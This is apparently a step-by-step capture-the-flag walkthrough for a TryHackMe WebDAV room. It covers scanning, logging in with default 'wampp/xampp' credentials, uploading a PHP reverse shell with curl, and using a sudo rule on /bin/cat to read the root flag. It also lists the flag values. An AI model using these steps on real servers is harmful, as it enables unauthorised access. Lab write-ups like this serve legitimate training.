Room Link : https://tryhackme.com/r/room/bsidesgtdav STEP1 nmap -p- -Pn -A -T4 -sSV 10.10.104.43 FINDING 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) --------------------------------------------------------------------------------------------- STEP2 dirb http://10.10.80.76 FINDING + http://10.10.80.76/index.html (CODE:200|SIZE:11321) + http://10.10.80.76/server-status (CODE:403|SIZE:299) + http://10.10.80.76/webdav (CODE:401|SIZE:458) --------------------------------------------------------------------------------------------- STEP3 http://10.10.80.76/webdav FINDING login popup NOTE search in google default webdev login credentials https://xforeveryman.blogspot.com/2012/01/helper-webdav-xampp-173-default.html FINDING user: wampp pass: xampp --------------------------------------------------------------------------------------------- STEP4 login to http://10.10.80.76/webdav with credential -- wampp -- xampp FINDING http://10.10.80.76/webdav/passwd.dav wampp:$apr1$Wm2VTkFL$PVNRQv7kzqXQIHe14qKA91 --------------------------------------------------------------------------------------------- STEP5 create a php revers shell curl --user "wampp:xampp" http://10.10.80.76/webdav/ --upload-file phprshell.php -v open nc listner in new tab get reverse shell --------------------------------------------------------------------------------------------- STEP6 ls -la cd /home cd merlin ls -la cat user.txt FINDING 449b40fe93f78a938523b7e4dcd66d2a use https://hashes.com/en/decrypt/hash 449b40fe93f78a938523b7e4dcd66d2a : 1324466367 --------------------------------------------------------------------------------------------- STEP7 sudo -l FINDING (ALL) NOPASSWD: /bin/cat --------------------------------------------------------------------------------------------- STEP8 sudo /bin/cat /root/root.txt FINDING 101101ddc16b0cdf65ba0b8a7af7afa5 use https://hashes.com/en/decrypt/hash 101101ddc16b0cdf65ba0b8a7af7afa5 : 1330795944 ---------------------------------------------------------------------------------------------